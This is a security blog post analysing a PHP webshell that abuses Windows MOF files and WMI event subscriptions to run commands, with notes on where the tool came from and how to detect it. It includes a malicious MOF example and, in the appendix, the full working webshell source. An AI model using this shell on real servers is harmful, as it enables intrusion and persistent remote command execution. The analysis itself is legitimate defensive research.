Webshells and MOF

(Note: If you would prefer a less technical summary, check out Chinese and Russian Attackers Hide In Plain Sight: The Windows MOF File.)

Introduction:

As long as there are webservers, webshells will continue to be a very effective means of infiltrating and maintaining a foothold into a victim network. One webshell that we recently stumbled upon was using PHP to write MOF files as a method of executing code on the remote machine.  This blog has an excellent description of MOF files and how they can be used/abused on Windows.

A sample of the MOF Webshell is currently on Virustotal and scoring 0/56 detection.  This isn’t highly uncommon among webshells, as most anti-virus vendors will largely ignore text files, but this should provide some interesting commentary on the state of webshell detection and the novelty of the approach.

Analysis:

Using MOF files isn’t new in the context of persistence mechanisms.  There are several public discussions and talks about advanced actors using MOF files to establish a foothold on the machine.  An example of a malicious MOF file would look like the following:

#pragma  namespace("\\.\root\subscription")
instance of __EventFilter  as  $EventFilter
{
    EventNamespace = "Root\Cimv2";
    Name  = "filtP2";
    Query = "Select * From __InstanceModificationEvent "
            "Where TargetInstance Isa "Win32_LocalTime" "
            "And TargetInstance.Second = 5";
    QueryLanguage = "WQL";
};
instance  of  ActiveScriptEventConsumer  as  $Consumer
{
    Name = "consPCSV2";
    ScriptingEngine = "JScript";
    ScriptText =
    "var WSH = new ActiveXObject("WScript.Shell")nWSH.run("C:/WINDOWS/system32/111.exe")";
};
instance  of  __FilterToConsumerBinding
{
    Consumer   = $Consumer;
    Filter = $EventFilter;
};

In the above scenario, the malicious MOF file would run 111.exe, by making a call to Wscript.Shell.  Clever.

After setting up a small webserver (running IIS and PHP), getting the script loaded on was trivial.  First the webshell will need to talk to a backend server.


Once the webshell is authenticated to the DB a small window will display asking for the command that you’d like to type in.  Typing in the command and hit “Exploit” will yield the following feedback.


At this point the webshell will write the MOF file.  Once execution happens the file is written to an output file (the location is configurable by the script).  Hitting the “Read” button will display the contents of the file.  In this case I did a simple reconnaissance command “netstat -ano”.


Origins:

This webshell seems to first surface on lostwolf’s blog (a Chinese security researcher) on December 25th 2012 (most likely being a cross post from t00ls.net), but it wasn’t until almost a full year later when it was posted on the Chinese hacking/technology forum Nuclear’Atk ( http://lcx.cc/?i=4048).  Since then there have been slight variations of the webshell with small modifications to suit the attackers running the tool.


In August 2013, the Win MOF Shell made it’s way on a Russian based computer security forum (hackingforum.ru) where members were discussing using it as a privilege escalation method.

 
Detection:

Chasing webshells can be a difficult trick to pull off, because of the amount of obfuscation and variations  that are easily generated with incremental changes.

Webshells continue to be an evolving threat that serve as a highly effective initial foothold into a network.  By using Windows MOF files, the attackers using this webshell were hoping to hide in the (unpublished) details of WMI.  

Depending on the environment, searching for malicious MOF files on the endpoint may be the best method of detection for this shell.   It’s always highly recommended to segregate your webserver from the rest of your internal network, even if this means replicating the DB server to the DMZ so there are no internal applications that can connect to it.

Appendix:

The full script of the MOF Shell can be seen below:

<?php
$path="c:/windows/system32/canimei";
session_start();
if(!empty($_POST['submit'])){
setcookie("connect");
setcookie("connect[host]",$_POST['host']);
setcookie("connect[user]",$_POST['user']);
setcookie("connect[pass]",$_POST['pass']);
setcookie("connect[dbname]",$_POST['dbname']);
echo "<script>location.href='?action=connect'</script>";
}
if(empty($_GET["action"])){
?>
<html>
<head><title>Win MOF Shell</title></head>
<body>
<form action="?action=connect" method="post">
Host:
<input type="text" name="host" value="192.168.200.144:3306"><br/>
User:
<input type="text" name="user" value="root"><br/>
Pass:
<input type="password" name="pass" value="toor"><br/>
DB:
<input type="text" name="dbname" value="mysql"><br/>
<input type="submit" name="submit" value="Submit"><br/>
</form>
</body>
</html>
<?php
exit;
}
if  ($_GET[action]=='connect')
{
$conn=mysql_connect($_COOKIE["connect"]["host"],$_COOKIE["connect"]["user"],$_COOKIE["connect"]["pass"])  or die('<pre>'.mysql_error().'</pre>');
 echo "<form action='' method='post'>";
echo "Cmd:";
echo "<input type='text' name='cmd' value='$strCmd'?>";
echo "<br>";
echo "<br>";
echo "<input type='submit' value='Exploit'>";
echo "</form>";
echo "<form action='' method='post'>";
echo "<input type='hidden' name='flag' value='flag'>";
echo "<input type='submit'value=' Read  '>";
echo "</form>";
if (isset($_POST['cmd'])){
$strCmd=$_POST['cmd'];
$cmdshell='cmd /c '.$strCmd.'>'.$path;
$mofname="c:/windows/system32/wbem/mof/system.mof";
$payload = "#pragma namespace("\\\\\\\\.\\\\root\\\\subscription")
instance of __EventFilter  as  $EventFilter
{
  EventNamespace  =  "Root\\\\Cimv2";
  Name    =  "filtP2";
  Query  =  "Select *  From  __InstanceModificationEvent "
      "Where TargetInstance Isa \\"Win32_LocalTime\\" "
      "And TargetInstance.Second = 5";
  QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
  Name = "consPCSV2";
  ScriptingEngine = "JScript";
  ScriptText =
  "var WSH = new ActiveXObject(\\"WScript.Shell\\")\\nWSH.run(\\"$cmdshell\\")";
 };
instance of __FilterToConsumerBinding
{
  Consumer  =  $Consumer;
  Filter  =  $EventFilter;
};";
mysql_select_db($_COOKIE["connect"]["dbname"],$conn);
$sql1="select  '$payload'  into  dumpfile  '$mofname';";
if(mysql_query($sql1))
  echo  "<hr>Execute  Successful!<br>  Please  click  the  read  button  to  check  the    result!!<br>If  the  result  is  not  correct,try  read  again  later<br><hr>";  else  die(mysql_error());
 mysql_close($conn);
}
if(isset($_POST['flag']))
{
  $conn=mysql_connect($_COOKIE["connect"]["host"],$_COOKIE["connect"]["user"],$_COOKIE["connect"]["pass"])    or  die('<pre>'.mysql_error().'</pre>');
   $sql2="select  load_file("".$path."");";
  $result2=mysql_query($sql2);
  $num=mysql_num_rows($result2);
  while  ($row  =  mysql_fetch_array($result2,  MYSQL_NUM))  {
    echo "<hr/>";
    echo '<pre>'. $row[0].'</pre>';
  }
  mysql_close($conn);
}
}
?>